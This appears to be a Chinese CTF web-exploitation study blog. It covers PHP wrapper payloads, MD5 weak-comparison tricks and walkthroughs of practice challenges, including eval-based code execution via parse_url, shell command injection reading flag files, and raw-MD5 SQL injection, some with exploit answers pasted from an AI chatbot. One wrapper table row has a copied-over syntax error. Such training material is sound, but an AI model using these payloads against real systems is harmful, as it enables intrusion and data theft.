CTF - web (持续更新ing)
思路
拿到网页先观察一下网页的情况,看看这个是什么网页
有登录框 - SQL注入
空白页 - 无意义页 - F12看源码
源码题 - 审计 - 多练就好了=-= (这种其实可以丢deepseek问)
都不是?直接上后台扫描工具
源码题 (源码泄露)
这个没啥好说的,多练,当然,为了应对线上比赛,我也有专门的一套解题方案,DeepSeek 大法 !
提问
我正在解答CTF题目,以下是题目
----
(这里把源码拷贝进来)
----
请帮我解答,并给出相应的POC或解题过程
然后跟着做就行了=-=
带框题
带框的,楞啥呢,十有八九都是SQL注入
parse_url
parse_url 函数 可以将网址中的信息按照一定格式拆分,变成数组
$u = "//www.example.com/path?query=1";
$data = parse_url($u);
echo var_dump($data);
array(3) {
["host"]=>
string(15) "www.example.com"
["path"]=>
string(5) "/path"
["query"]=>
string(3) "query=1"
}
include (文件包含)
伪协议
- data
- php
- file
File:// 访问本地文件系统
http:// 访问HTTPs网址
ftp:// 访问ftp URL
Php:// 访问输入输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径
协议 | 测试PHP版本 | allow_url_fopen | allow_url_include | 语法 |
---|---|---|---|---|
file:// | >=5.2 | off/on | off/on | ?file=file://C:/phpStudy/PHPTutorial/WWW/flag.txt |
php://filter | >=5.2 | off/on | off/on | ?file=php://filter/read=convert.base64-decode/resource=./index.php |
php://input | >=5.2 | off/on | on | ?file=php://input [POST DATE] <?php phpinfo();?> |
zip:// | >=5.2 | off/on | off/on | ?file=zip://C:/phpStudy/PHPTutorial/WWW/file.zip%23phpcode.txt |
compress.bzip2:// | >=5.2 | off/on | off/on | ?file=compress.bzip2://file.bz2 或 ?file=compress.bzip2://C:/phpStudy/PHPTutorial/WWW/flle.bz2 |
compress.zlib:// | >=5.2 | off/on | off/on | ?file=compress.zlib://file.bz2 或 ?file=compress.zlib://C:/phpStudy/PHPTutorial/WWW/flle.bz2 |
data:// | >=5.2 | on | on | ?file=compress.zlib://file.bz2 或 ?file=compress.zlib://C:/phpStudy/PHPTutorial/WWW/flle.bz2 |
data伪协议
data:text/plain,<?php phpinfo()?> #GET数据
data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= #后面的base64字符是需要传入的字符串的base64编码
<?php system("ls");?>
传入的代码可以直接被运行
file 伪协议
php 伪协议
php://input [POST DATA:]<?php phpinfo()?> #POST数据
php://filter/read=convert.base64-encode/resource=xxx.php
#get读源码
MD5
PHP弱类型比较
0e开头的 md5
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
绕过类
shell 空格绕过
可以代替空格的字符 ${IFS}
实战环节
CTF-show
PARSE_URL 第一关
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: [email protected]
# @link: https://ctfer.com
*/
$data = parse_url($_GET['u']);
eval($data['host']);
OK是一道源码题,分析一下源码
第一行会通过GET方式传入一个参数u,参数u会被传入 parse_url() 函数,并放在$data变量里存着
第二行,执行$data 变量里 host 字段 的内容
说明我们需要传入一个数组,并且把代码放在host字段里,通过eval执行
pase_url 上文有介绍这个函数,这个函数会把传入的网址变成特定格式的数组,我们先拿到example(上面介绍给出来了)
//www.example.com/path?query=1
因为代码只会获取host字段里的内容,把无关参数去掉
//www.example.com ==> //pwd (把host字段改为恶意代码)
ok干净了,然后我们把这段字符串通过GET方式传入
构造POC
https://262f107b-cdb9-43f2-96d7-c6074505153b.challenge.ctf.show?u=//pwd
自信慢慢=-= 回车!发现没有执行,仔细观察一下
eval($data['host']); ==> eval(pwd)
噢~ 原来只是传入了命令,eval需要配合system使用才能执行系统命令,浅浅改一下
https://262f107b-cdb9-43f2-96d7-c6074505153b.challenge.ctf.show?u=//system("pwd");
回车!
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: [email protected]
# @link: https://ctfer.com
*/
$data = parse_url($_GET['u']);
eval($data['host']);
/var/www/html
OK有回显了,遍历一下目录,找找flag在哪,利用 ;可以持续执行
最终poc
https://262f107b-cdb9-43f2-96d7-c6074505153b.challenge.ctf.show?u=//system("cd ..;cd ..;cd ..;pwd;ls;cat flag_is_here.txt");
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-10 09:52:06
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-10 10:58:34
# @email: [email protected]
# @link: https://ctfer.com
*/
$data = parse_url($_GET['u']);
eval($data['host']);
/ bin dev etc flag_is_here.txt home lib media mnt opt proc root run sbin srv sys tmp usr var ctfshow{cca10236-857b-4e9f-bb07-c342096c9b5b}
falg
ctfshow{cca10236-857b-4e9f-bb07-c342096c9b5b}
PARSE_URL 第二关
萌新赛 签到题
<?php
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}
?>
源码题,不多说了,直接deepseek大法!
我正在解答CTF题目,以下是题目
----
<?php
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}
?>
----
请帮我解答,并给出相应的POC或解题过程
输出
要解决这个CTF题目,我们需要利用命令注入漏洞来获取服务器上的flag文件。以下是具体步骤:
步骤 1:命令注入测试
构造请求执行ls命令,查看当前目录下的文件:
复制
http://题目服务器/?url=;ls%20%23
;:结束curl命令,执行后续指令。
ls:列出当前目录文件。
%20:空格编码。
%23:#的编码,注释掉后续的.ctf.show。
若返回结果中存在类似flag.txt的文件,进入下一步。
步骤 2:读取Flag文件
假设存在/flag.txt,构造请求读取文件内容:
复制
http://题目服务器/?url=;cat%20/flag.txt%20%23
cat /flag.txt:输出flag文件内容。
关键点说明
命令注入:利用;分割命令,使curl失败后继续执行后续指令。
空格处理:使用%20或${IFS}绕过URL中的空格限制。
注释符号:%23(#)用于注释掉原命令中的.ctf.show,防止干扰。
结果
成功执行后,页面将显示cat命令的输出,即flag内容。例如:
复制
ctfshow{example_flag}
通过这种方法,利用未过滤的输入直接注入系统命令,最终获取目标flag。
跟着操作,就可以拿下flag了
还是浅浅分析一下,防止你们说不会
system("curl https://".$_GET['url'].".ctf.show");
看这一行,system是执行系统命令,curl是获取网页,通过GET方法传参,构造后面的网址
我们可以利用一些特殊的字符,让指令报错也继续执行
curl https:// ==> 其实前面执不执行没啥太大作用,因为我们要的是执行我们的恶意代码
curl https://;pwd #.ctf.show ==> 因为前面和后面是改不了的,我们通过; 让前面的代码即使报错也继续执行,用#注释掉后面的代码
单独把我们修改的代码抽出来,就是我们要传入的参数,通过GET方法
;pwd #
构造POC
https://7b856fd4-80e5-4adc-a0b0-466cd4fac09d.challenge.ctf.show?url=;pwd;ls /var/www/html;cat flag #
回显
/var/www/html flag index.php ctfshow{fb62a8bf-c186-43b4-878f-91a780a9638a}
flag
ctfshow{fb62a8bf-c186-43b4-878f-91a780a9638a}
NSSCTF
[BJDCTF 2020]easy_md5
拿到了一个登录框,乱打点字母试试
http://node4.anna.nssctf.cn:28463/leveldo4.php?password=qwe
发现多了个password参数,试试SQL注入
sqlmap -u http://node4.anna.nssctf.cn:28968/leveldo4.php?password=qwe --batch
emm 没找到注入点
右键看看源码,没发现什么有用的信息,难道被隐藏了?
看看原始数据
curl http://node4.anna.nssctf.cn:28463/leveldo4.php -v
< HTTP/1.1 200 OK
< Transfer-Encoding: chunked
< Connection: keep-alive
< Content-Type: text/html; charset=UTF-8
< Date: Thu, 27 Mar 2025 16:41:33 GMT
< Hint: select * from 'admin' where password=md5($pass,true)
< Keep-Alive: timeout=4
< Proxy-Connection: keep-alive
< Server: nginx/1.18.0
< X-Powered-By: PHP/7.3.22
观察发现有个Hint ,上面标注了sql查询指令
GET传入的password会变成$pass ,然后经过md5函数
这里要用到一段神奇的字符串 ffifdyop
ffifdyop 经过md5之后就变成了 276f722736c95d99e921722cf9ed621c
然后再变成字符串 'or'6<乱码>
简化一下就是
select * from admin where password='or'6
就实现了sql注入,来到下一题
右键看源码,发现注释
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
header('Location: levell14.php');
-->
额,这,下一关的地址都给出来了,直接URL拼接
http://node4.anna.nssctf.cn:28463/levell14.php
来到下一关
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
emm源码题,直接DeepSeek
我正在解答CTF题目,以下是题目
----
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
----
请帮我解答,并给出相应的POC或解题过程
要绕过该条件,需使param1和param2不同但它们的MD5哈希严格相等。利用PHP处理数组的特性:
传递数组参数:
将param1和param2设置为数组,由于数组内容不同,满足!==条件。
MD5处理数组返回NULL:
PHP的md5()函数接收数组时会返回NULL,因此两者的MD5比较NULL === NULL成立。
具体步骤:
使用POST请求发送以下参数(例如通过表单或curl):
复制
param1[]=a¶m2[]=b
此时:
$_POST['param1'] 是数组 array('a')
$_POST['param2'] 是数组 array('b')
md5($_POST['param1']) 和 md5($_POST['param2']) 均返回 NULL
满足条件,输出flag。
AI大法屡试不爽啊=-=,所以别老说源码题不会解了~
简单说一下吧,大致就是 数组经过md5函数都会返回NULL
POST传参
param1[]=a¶m2[]=b
flag直接出来了
NSSCTF{b080f5fc-c8d1-4f4b-90ac-f65eabc74bd2}
OK
工具
提到的工具全部都写在下面
御剑后台扫描
一个可以扫描网站后台的工具
对网站进行目录扫描,看一下网站都有哪些文件和目录